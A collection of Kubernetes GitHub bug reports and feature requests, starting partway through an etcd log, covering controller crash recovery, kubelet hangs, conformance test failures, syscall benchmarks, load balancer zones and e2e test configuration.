rafthttp: started streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:21:59.147977 i | rafthttp: started streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:21:59.148000 i | rafthttp: started streaming with peer d39c0c65404bd457  stream msgapp v2 reader \r 2017-03-24 01:21:59.148207 i | rafthttp: started streaming with peer d39c0c65404bd457  stream message reader \r 2017-03-24 01:21:59.213585 i | membership: removed member 4f1f10f8d2cc6b34 from cluster 10ac014d803ac90f\r 2017-03-24 01:21:59.213619 i | rafthttp: stopping peer 4f1f10f8d2cc6b34...\r 2017-03-24 01:21:59.213634 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:21:59.213645 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  writer \r 2017-03-24 01:21:59.213825 i | rafthttp: stopped http pipelining with peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:59.213857 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  stream msgapp v2 reader \r 2017-03-24 01:21:59.213877 i | rafthttp: stopped streaming with peer 4f1f10f8d2cc6b34  stream message reader \r 2017-03-24 01:21:59.213885 i | rafthttp: stopped peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:59.213895 i | rafthttp: removed peer 4f1f10f8d2cc6b34\r 2017-03-24 01:21:59.213972 i | membership: removed member d39c0c65404bd457 from cluster 10ac014d803ac90f\r 2017-03-24 01:21:59.213983 i | rafthttp: stopping peer d39c0c65404bd457...\r 2017-03-24 01:21:59.213995 i | rafthttp: stopped streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:21:59.214005 i | rafthttp: stopped streaming with peer d39c0c65404bd457  writer \r 2017-03-24 01:21:59.214068 i | rafthttp: stopped http pipelining with peer d39c0c65404bd457\r 2017-03-24 01:21:59.214100 i | rafthttp: stopped streaming with peer d39c0c65404bd457  stream msgapp v2 reader \r 2017-03-24 01:21:59.214120 i | rafthttp: stopped streaming with peer d39c0c65404bd457  stream message reader \r 2017-03-24 01:21:59.214128 i | rafthttp: stopped peer d39c0c65404bd457\r 2017-03-24 01:21:59.214136 i | rafthttp: removed peer d39c0c65404bd457\r 2017-03-24 01:21:59.614341 i | raft: bcfded7555b0b362 is starting a new election at term 7\r 2017-03-24 01:21:59.614404 i | raft: bcfded7555b0b362 became candidate at term 8\r 2017-03-24 01:21:59.614414 i | raft: bcfded7555b0b362 received vote from bcfded7555b0b362 at term 8\r 2017-03-24 01:21:59.614438 i | raft: bcfded7555b0b362 became leader at term 8\r 2017-03-24 01:21:59.614450 i | raft: raft.node: bcfded7555b0b362 elected leader bcfded7555b0b362 at term 8\r 2017-03-24 01:21:59.615726 i | etcdserver: published {name:etcd-d clienturls: http://etcd-d.internal.ha.awsdata.com:4001 } to cluster 10ac014d803ac90f\r 2017-03-24 01:21:59.615741 i | etcdmain: ready to serve client requests\r 2017-03-24 01:21:59.616112 n | etcdmain: serving insecure client requests on 0.0.0.0:4001, this is strongly discouraged!\r    \r

when attach/detach controller restarts it can miss volumes that were attaching but not fully attached when it died.\r \r steps to reproduce:\r \r 1. user creates a pod with a volume.\r 2. attach/detach controller asks the storage subsystem to attach the volume  e.g. calls volume plugin. attach    .\r 3. the controller crashes.\r 4. user deletes the pod.\r 5. new controller starts.\r 6. the storage subsystem finishes attaching of the volume  yes, it can be so slow .\r \r now we have a volume attached to a node, but we have no record of it in any kubernetes objects. the volume will be attached forever. it should be detached by kubernetes because the pod that needed it was deleted.\r \r the controller stores the volume into  node.status.volumesattached    after   the volume is attached, which is imo too late. we need to store the volume there   before   we call volume plugin.attach so the controller can find the volume there if it crashes.\r \r in similar fashion, the controller should remove a volume from  volumesattached    after   the volume is really detached, not when it calls  detach . when the controller restarts, it should find the volume in  volumesattached  so it can retry to detach the volume if it is still attached from some reason.\r \r @kubernetes/sig-storage-bugs \r @gnufied @jingxu97 @tsmetana\r

prs cannot be merged b/c of constantly failing test that is completely unrelated to the pr. examples:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/48713/pull-kubernetes-unit/40103/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/48726/pull-kubernetes-unit/40094/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/48310/pull-kubernetes-unit/40050/\r \r @kubernetes/sig-federation-bugs

is this a bug report or feature request?  :\r  \r   what happened  :\r \r kubectl exec -it $pod /bin/bash -nnamespace stuck there.\r and login to the node , 'docker kill $id' can't kill that container either.\r \r logs full of the following messages:\r \r    \r oct 23 09:37:37 ag05.prod.com kubelet-wrapper 28811 : e1023 09:37:37.716122   28811 remote_runtime.go:257  listcontainers with filter \ &containerfilter{id:,state:nil,podsandboxid:,labelselector:map string string{},}\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:37:37 ag05.prod.com kubelet-wrapper 28811 : e1023 09:37:37.716238   28811 kuberuntime_container.go:315  getkubeletcontainers failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:37:37 ag05.prod.com kubelet-wrapper 28811 : e1023 09:37:37.716270   28811 kubelet.go:1148  container garbage collection failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:38:02 ag05.prod.com kubelet-wrapper 28811 : e1023 09:38:02.909099   28811 remote_runtime.go:163  listpodsandbox with filter \ nil\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:38:02 ag05.prod.com kubelet-wrapper 28811 : e1023 09:38:02.909218   28811 kuberuntime_sandbox.go:185  listpodsandbox failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:38:02 ag05.prod.com kubelet-wrapper 28811 : e1023 09:38:02.909232   28811 generic.go:198  genericpleg: unable to retrieve pods: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:39:07 ag05.prod.com kubelet-wrapper 28811 : e1023 09:39:07.346806   28811 remote_runtime.go:163  listpodsandbox with filter \ &podsandboxfilter{id:,state:&podsandboxstatevalue{state:sandbox_ready,},labelselector:map string string{},}\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:39:07 ag05.prod.com kubelet-wrapper 28811 : e1023 09:39:07.346900   28811 kuberuntime_sandbox.go:185  listpodsandbox failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:39:07 ag05.prod.com kubelet-wrapper 28811 : w1023 09:39:07.346925   28811 metrics.go:247  failed to get running container information while collecting metrics: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:39:40 ag05.prod.com kubelet-wrapper 28811 : 2017/10/23 09:39:40 grpc: server.processunaryrpc failed to write status: stream error: code = 4 desc = \ context deadline exceeded\ \r oct 23 09:39:40 ag05.prod.com kubelet-wrapper 28811 : e1023 09:39:40.540801   28811 remote_runtime.go:163  listpodsandbox with filter \ nil\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:39:40 ag05.prod.com kubelet-wrapper 28811 : e1023 09:39:40.540882   28811 kuberuntime_sandbox.go:185  listpodsandbox failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:39:40 ag05.prod.com kubelet-wrapper 28811 : w1023 09:39:40.540898   28811 image_gc_manager.go:165   imagegcmanager  failed to monitor images: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:40:03 ag05.prod.com kubelet-wrapper 28811 : e1023 09:40:03.909751   28811 remote_runtime.go:163  listpodsandbox with filter \ nil\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:40:03 ag05.prod.com kubelet-wrapper 28811 : e1023 09:40:03.909813   28811 kuberuntime_sandbox.go:185  listpodsandbox failed: rpc error: code = 4 desc = context deadline exceeded\r oct 23 09:40:03 ag05.prod.com kubelet-wrapper 28811 : e1023 09:40:03.909835   28811 generic.go:198  genericpleg: unable to retrieve pods: rpc error: code = 4 desc = context deadline exceeded\r    \r \r and restart docker.service bring the node back to normal.\r \r   what you expected to happen  :\r node doesn't get stucked.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.6.4\r - cloud provider or hardware configuration  : baremetal\r - os  e.g. from /etc/os-release : coreos 1298.5.0\r - kernel  e.g.  uname -a  : 4.9.9-coreos-r1\r - install tools: ipxe\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r     \r    \r   what happened  :\r \r failure  19.458 seconds \r  sig-auth  serviceaccounts\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/framework.go:22\r   should mount an api token into pods  conformance   it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/auth/service_accounts.go:246\r \r   expected error:\r       < errors.errorstring | 0xc42084e480>: {\r           s: \ expected \\\ content of file \\\\\\\ /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\\\\\\\ : -----begin certificate-----\\\ miiddtccafwgawibagijao5daxj+p13nma0gcsqgsib3dqebcwuamb0xgzazbgnv\\\ bammemf0ds1kc3qty2x1c3rlci1jytaefw0xnza2mdixmtq5mtdafw00ndewmtgx\\\ mtq5mtdamb0xgzazbgnvbammemf0ds1kc3qty2x1c3rlci1jytccasiwdqyjkozi\\\ hvcnaqebbqadggepadccaqocggebankepbibquc1tvkipb7/8ycqmwpxgmwpwg74\\\ c2pvsvb+r7wbxi2vtvas1efyjjqq7scsdotg5wxjqjx3gs2tzlne2lqgth8jb5km\\\ dzu2cfilhnt5tnhiwq0faadm91buxnmmuc1c+w+vyyxinuuq5uwimlap1tpjuo8r\\\ 86y+25atoaupvu3h0yrjfmwtzdinlctjk9kxvj+mzkfekkkxbilumv/zp6mlctcz\\\ 7b/nqqsmjtcgcskdde3gvsf7zin+yuprht/c2blyiuudnzmrixkgrj7m4hkxlh6e\\\ pgvitth233pf5g7yrybfwkg25mpmfxrn23mhm3i2ednfan+gflmcaweaaanqme4w\\\ hqydvr0obbyefoidbpowiv3syxnd6cwrojzk7/vfmb8ga1udiwqymbaafoidbpow\\\ iv3syxnd6cwrojzk7/vfmawga1udewqfmambaf8wdqyjkozihvcnaqelbqadggeb\\\ agbgdwuxzzlitqdkvlfq8jsy5w/8vwhbcu9t5zwbqlnws/t2r8+6vxz2fzp5yjfc\\\ 6cadgg0p0f5u35aga7ajk6gtvfc80xipdohkgj/4mz+cnokk+xv9j5awa/tcnl0q\\\ ttf4z5peqhzchafk5k7knbaqcz/0xkkpmgs8fxaier9l9on4obkrnixtfqo0/i0m\\\ o06uumlnlj2ty7epui4ohbjvcgcopek0sdprqn3py7et331mp87blcsyh0zgvkrj\\\ vbp7dqo3w9hyc88fc/wr1avgdggomjsyxd4upayrz/7hrxhh0va8ojmnszvn/oxf\\\ xxjsesn9b9luaoj8h0guepg=\\\ -----end certificate-----\\\ \\\  in container output: expected\     <string>: \ to contain substring\     <string>: content of file \\\ /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\\\ : -----begin certificate-----\   \r  fail   k8s.io  downward api volume  it  should provide container's cpu limit  conformance   sig-storage \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2191\r .......\r \r failure  12.862 seconds \r  k8s.io  downward api volume\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:635\r   should provide container's cpu limit  conformance   sig-storage   it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:163\r \r   expected error:\r       < errors.errorstring | 0xc420ebe170>: {\r           s: \ expected \\\ 2\\\ \\\  in container output: expected\     <string>: \ to contain substring\     <string>: 2\     \ ,\r       }\r       expected \ 2\ \  in container output: expected\r           <string>:\r       to contain substring\r           <string>: 2\r \r   not to have occurred\r .....\r \r failure  12.855 seconds \r  k8s.io  downward api volume\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:635\r   should provide container's cpu request  conformance   sig-storage   it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:181\r \r   expected error:\r       < errors.errorstring | 0xc420edb540>: {\r           s: \ expected \\\ 1\\\ \\\  in container output: expected\     <string>: \ to contain substring\     <string>: 1\     \ ,\r       }\r       expected \ 1\ \  in container output: expected\r           <string>:\r       to contain substring\r           <string>: 1\r \r   not to have occurred\r .....\r \r failure  12.911 seconds \r  k8s.io  projected\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:635\r   should provide container's cpu limit  conformance   sig-storage   it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:902\r \r   expected error:\r       < errors.errorstring | 0xc421775180>: {\r           s: \ expected \\\ 2\\\ \\\  in container output: expected\     <string>: \ to contain substring\     <string>: 2\     \ ,\r       }\r       expected \ 2\ \  in container output: expected\r           <string>:\r       to contain substring\r           <string>: 2\r \r   not to have occurred\r .........\r \r failure  10.905 seconds \r  k8s.io  projected\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:635\r   should provide container's memory limit  conformance   sig-storage   it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:911\r \r   expected error:\r       < errors.errorstring | 0xc420a46410>: {\r           s: \ expected \\\ 67108864\\\ \\\  in container output: expected\     <string>: \ to contain substring\     <string>: 67108864\     \ ,\r       }\r       expected \ 67108864\ \  in container output: expected\r           <string>:\r       to contain substring\r           <string>: 67108864\r \r   not to have occurred\r .....\r \r  failure  12.909 seconds \r  k8s.io  projected\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:635\r   should provide container's memory request  conformance   sig-storage   it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/projected.go:929\r \r   expected error:\r       < errors.errorstring | 0xc421c479d0>: {\r           s: \ expected \\\ 33554432\\\ \\\  in container output: expected\     <string>: \ to contain substring\     <string>: 33554432\     \ ,\r       }\r       expected \ 33554432\ \  in container output: expected\r           <string>:\r       to contain substring\r           <string>: 33554432\r \r   not to have occurred\r ......\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r sonobuoy conformance test manual\r \r docker pull gcr.io/heptio-images/kube-conformance:v1.8\r \r docker run -it -v /etc/kubernetes/admin.conf:/config --name conformance18 gcr.io/heptio-images/kube-conformance:v1.8 bash\r \r mkdir /tmp/results\r cd\r /usr/local/bin/e2e.test --repo-root=/kubernetes --ginkgo.skip='alpha|disruptive|feature|flaky|kubectl' --ginkgo.focus=conformance --provider=\ local\  --report-dir=\ /tmp/results\  --kubeconfig=\ /config\  --ginkgo.nocolor=true | tee /tmp/results/e2e-$ date +%f-%h%m%s .log\r \r \r   anything else we need to know?  :\r sonobuoy container 1.8  latest \r  fail   sig-auth  serviceaccounts  it  should mount an api token into pods  conformance \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2191\r  fail   k8s.io  downward api volume  it  should provide container's cpu limit  conformance   sig-storage \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2191\r  fail   k8s.io  downward api volume  it  should provide container's cpu request  conformance   sig-storage \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2191\r  fail   k8s.io  projected  it  should provide container's cpu limit  conformance   sig-storage \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2191\r  fail   k8s.io  projected  it  should provide container's memory limit  conformance   sig-storage \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2191\r  fail   k8s.io  projected  it  should provide container's memory request  conformance   sig-storage \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2191\r \r sonobuoy container 1.7.3\r  fail   k8s.io  downward api volume  it  should provide container's memory limit  conformance   volume \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2242\r  fail   k8s.io  projected  it  should provide container's memory request  conformance   volume \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2242\r  fail   k8s.io  projected  it  should provide container's cpu request  conformance   volume \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2242\r  fail   k8s.io  downward api  it  should provide pod and host ip as an env var  conformance \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2242\r  fail   k8s.io  networking  beforeeach  should provide internet connection for containers  conformance \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:41\r  fail   k8s.io  serviceaccounts  it  should mount an api token into pods  conformance \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2242\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.8.4\r - cloud provider or hardware configuration:\r bare metal vm, external etcd 3.2.9, cluster, cni calico-node 2.6.3\r - os  e.g. from /etc/os-release :\r rhel7\r - kernel  e.g.  uname -a  :\r 3.10.0-693.5.2.el7.x86_64\r - install tools:\r puppet\r - others:\r docker 1.12.6/1.13.1

@liggitt noticed that hyperkube is not starting kubelet in a way that triggers pre-run bootstrap logic.\r \r see hyperkube: https://github.com/kubernetes/kubernetes/blob/master/cmd/hyperkube/kubelet.go\r vs. vanilla kubelet: https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/kubelet.go\r \r the current approach of calling directly into run leaves hyperkube to diverge from pre-run additions to the kubelet's bootstrap process. this will need to be fixed for hyperkube to maintain important additions related to kubelet configuration  loading config files, starting the controller that reconciles dynamic config, enforcing flag precedence, etc. .\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r currently  kubelet  synchronizes each pod periodically, inside each loop  volumemanager  reprocesses each pod's volumes. if a volume refers to a pvc, it will fetch the latest pv/pvc object from apiserver, see  here  https://github.com/kubernetes/kubernetes/blob/6b64c07bafd13f7a2f4396526f60a189d407e363/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go l439  and  here  https://github.com/kubernetes/kubernetes/blob/2f13ffb056488dd34c92a0e0e1c57bef0a45f27d/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go l485 . so it will increase the load on apiserver/etcd if cluster scale becomes large.\r \r  a possible solution is introducing a pv/pvc cache with ttl, like what configmap and secret do.

is this a bug report or feature request?  :\r \r   \r   description  :\r \r the  pop  of  schedulingqueue  will  cond.wait  for new events; if  stopch  is closed, the goroutine which uses  pop  will not cleanup . it's better to add shutdown/close to schedulingqueue to clean it up gracefully : \r \r

what happened  :\r huge syscall performance overhead when host os and image os mismatch.\r \r   what you expected to happen  :\r performance should be similar to native even if os of image is different from host os.\r \r   detailed description and benchmark  :\r i'm benchmarking syscall performance inside containers on a kubernetes cluster. i wrote a simple getpid benchmark that iterates over the syscall. when the image and the host os are similar e.g host ubuntu 16.04 and image is ubuntu 16.04 i get similar performance inside the container and on native.\r although, if i'm running the same experiment on the same host ubuntu 16.04 but with an image based on ubuntu 18.04 the performance inside the container gets a huge hit. i did some perf analysis and most of overhead comes from entry_syscall_64_after_swapgs which does not show up on the when the os of the image matches the host.\r \r my understanding is that due to os miss match syscalls get routed differently but i'm not sure where this is handled. any pointers on why this is happening and how to go about fixing it, would be greatly appreciated!\r \r i have also opened a ticket on moby as well:  37902  https://github.com/moby/moby/issues/37902 \r \r  @kubernetes/sig-node-bugs\r \r measurements:\r native: 0.000328s\r kuberntes  host==image : 0.000350s\r kubernetes  host != image : 0.024452s\r \r system:\r docker: 17.06.1-ce\r kubernetes: v1.11.3\r os: ubuntu 16:04, 4.4.0-109\r cpu: intel r  xeon r  cpu e5-2660 v3\r \r benchmark code:\r \r    \r  define count   100000\r  include <stdio.h>\r  include <time.h>\r  include <sys/types.h>\r  include <unistd.h>\r \r int main  int argc, const char  argv    {\r     int rc;\r     int i;\r     int count;\r     clock_t begin, end;\r     count = count;\r     begin = clock  ;\r \r     for   i = 0; i < count; i++  {\r         rc = getpid  ;\r     }\r \r     end = clock  ;\r     printf \ rc %d\ \ ,rc ;\r     double time_spent =  double  end - begin  / clocks_per_sec;\r     printf \ time %lf \ \ , time_spent ;\r }\r    \r \r dockerfile:\r    \r from ubuntu:18.04\r \r run apt-get update && apt-get install -y vim && apt-get install build-essential -y\r \r copy . /usr/src/myapp\r workdir /usr/src/myapp\r run gcc -o3 -og -ggdb -g3 -fno-omit-frame-pointer bench.c -o myapp\r entrypoint  \ ./myapp\  \r    \r \r cheers,\r dimitrios

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : \r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  : while exposing a deployment with service type load balancer  internal , the load balancer is not considering one of the azs.\r \r   what you expected to happen  : the internal load balancer should be launched into all the availability zones. but it randomly selecting only one az.\r \r   how to reproduce it  as minimally and precisely as possible   : \r step1: launch worker nodes in private subnets and register them with eks service. \r step2: tag the private subnets with:\r key: kubernetes.io/role/internal-elb \r value: 1\r \r step3: create a deployment\r step4: expose the deployment using service type load balancer and use the following annotation in the service manifest to create an internal load balancer: \r  ... \r metadata:\r     name: my-service\r     annotations:\r         service.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0\r  ... \r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :v1.12.1\r - cloud provider or hardware configuration: eks  aws  1.10.3\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

for a pod with a health-check that is broken, so the pod is constantly restarting, it looks like the events are not aggregated correctly:   kubectl describe pod <podid>       ...   wed, 21 oct 2015 15:00:44 -0400   wed, 21 oct 2015 15:00:44 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  started     started with docker id 06739bf99a4f   wed, 21 oct 2015 15:00:44 -0400   wed, 21 oct 2015 15:00:44 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  killing     killing with docker id e8f80cec8925   wed, 21 oct 2015 15:00:44 -0400   wed, 21 oct 2015 15:00:44 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  created     created with docker id 06739bf99a4f   wed, 21 oct 2015 15:01:48 -0400   wed, 21 oct 2015 15:01:48 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  killing     killing with docker id 06739bf99a4f   wed, 21 oct 2015 15:01:48 -0400   wed, 21 oct 2015 15:01:48 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  created     created with docker id ad00394fe6fe   wed, 21 oct 2015 15:01:48 -0400   wed, 21 oct 2015 15:01:48 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  started     started with docker id ad00394fe6fe   wed, 21 oct 2015 15:02:58 -0400   wed, 21 oct 2015 15:02:58 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  started     started with docker id 0ba3fcdb09aa   wed, 21 oct 2015 15:02:58 -0400   wed, 21 oct 2015 15:02:58 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  killing     killing with docker id ad00394fe6fe   wed, 21 oct 2015 15:02:58 -0400   wed, 21 oct 2015 15:02:58 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  created     created with docker id 0ba3fcdb09aa   wed, 21 oct 2015 15:03:58 -0400   wed, 21 oct 2015 15:03:58 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  created     created with docker id 02535868ba6c   wed, 21 oct 2015 15:03:58 -0400   wed, 21 oct 2015 15:03:58 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  killing     killing with docker id 0ba3fcdb09aa   wed, 21 oct 2015 15:03:59 -0400   wed, 21 oct 2015 15:03:59 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  started     started with docker id 02535868ba6c   wed, 21 oct 2015 15:05:03 -0400   wed, 21 oct 2015 15:05:03 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  started     started with docker id 4a4228f9421a   wed, 21 oct 2015 15:05:03 -0400   wed, 21 oct 2015 15:05:03 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  killing     killing with docker id 02535868ba6c   wed, 21 oct 2015 15:05:03 -0400   wed, 21 oct 2015 15:05:03 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  created     created with docker id 4a4228f9421a   wed, 21 oct 2015 13:31:25 -0400   wed, 21 oct 2015 15:06:09 -0400 90  {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  unhealthy   liveness probe failed: get http://10.244.2.144:8001/health: dial tcp 10.244.2.144:8001: connection refused   wed, 21 oct 2015 15:06:10 -0400   wed, 21 oct 2015 15:06:10 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  killing     killing with docker id 4a4228f9421a   wed, 21 oct 2015 15:06:10 -0400   wed, 21 oct 2015 15:06:10 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  started     started with docker id 8dc9e8651c7f   wed, 21 oct 2015 15:06:10 -0400   wed, 21 oct 2015 15:06:10 -0400 1   {kubelet ip-172-20-0-127.us-west-1.compute.internal}    spec.containers{mypod}  created     created with docker id 8dc9e8651c7f      there is only one health-check failure event, and the timestamp is totally out of sequence.  also, i would expect to see creating/created/started/killing in sequence, but they are not.  i am not sure if this is because it didn't filter correctly by pod  there are 3 pods in the rc  or because the event timestamps are out of order somehow.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/14027/  failed:  k8s.io  emptydir volumes should support  root,0777,tmpfs   conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:131 expected error:     < errors.statuserror | 0xc8202c7d00>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server has prevented the request from succeeding  get serviceaccounts \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ serviceaccounts\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/watch/namespaces/e2e-tests-emptydir-b54ze/serviceaccounts?fieldselector=metadata.name%3ddefault\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server has prevented the request from succeeding  get serviceaccounts  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:220

problem    the flat flags based config is not scaling + increasingly tricky for users to leverage, _esp for custom test runs_.  there is both a usability issue, and also a technical limitation posed by needing flags for configuring e2es. -   usability   the e2e flag options represent several \ sub programs\  each of which has mutually exclusive configuration.   there are approx 42 flags currently.  this makes it hard for any user to quickly focus on the configuration they care about which is  typically  focused on a single test or small suite of tests. -   technical   :  go test  is dependent on the somewhat inflexible  flag  library in golang, which is not evolving very quickly.  the manual call to flag.test makes it so that it doesnt interoperate well with  pflag , which is the ideal way for flexible.  practically speaking, adding any args to the e2e's requires that those args are supported in  flag . -   automation  : orthogonal but related.  we really should introspect as much as possible.  maybe we can introspect openstack, atomic, gce, aws, related stuff.  maybe we can introspect selinux related stuff.  also introspection of  --scale  and other sorts of parameters.  per a discussion w/ @timothysc , we will propose a 3 step path to sanity.  to be discussed in @kubernetes/sig-testing .    solution   1. define a single struct for all flags.   this will decouple e2e parameterization from  flag.xyz  calls. 2. exemplify a mapping for the struct that is auto-generated on build for users to borrow from.  use viper to injest a jsonified struct and directly write it as config. 3. remove all flags entirely and use pure json/yaml/ini/etcd configurator for the e2es, and publish e2e.

